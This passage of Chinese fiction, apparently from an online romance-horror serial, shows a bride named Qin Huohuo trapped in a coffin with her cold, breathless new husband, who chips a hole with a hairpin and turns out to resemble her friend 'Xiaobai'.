但她却感觉不到一丝呼吸,秦霍霍小心的往那人的方面伸手,摸到的是一片冰冷,感觉比上千上万的寒冰还要凉。 那人直接抓住了秦霍霍的手,轻声道:“霍霍别怕。” 这个声音…… 是刚才那个跟自己拜堂的男子?但是他为什么浑身冰凉,而且连呼吸都没有,虽然他温柔的对着秦霍霍说别怕,但现在这种情况谁会不怕啊。 “咚咚咚……咚咚咚……” “你在干嘛?”秦霍霍听到了敲击棺材的声音,她小心翼翼开口问道。 很快一丝光亮代替那人回答了秦霍霍。 虽只有一丝光亮,但也足以照亮这个原本漆黑一片的棺材。 秦霍霍借着光亮朝那人看去,只见一个脸色惨白的男子拿着一根簪子也同样看自己,看来刚才的声音就是他在凿洞发出来的。 他的身上也传了一件喜服,只不过好像是女式的?而且那件喜服对他来说实在太小了,将他的身体给紧紧禁锢住了一般,此刻有些像一只蚕蛹。 “你看着好眼熟啊,像我的一个朋友。”秦霍霍看着男子不由得脱口而出。 说完秦霍霍觉得这话说的有些不妥,于是想要找补一下继续道:“我的朋友他叫……” “小白。”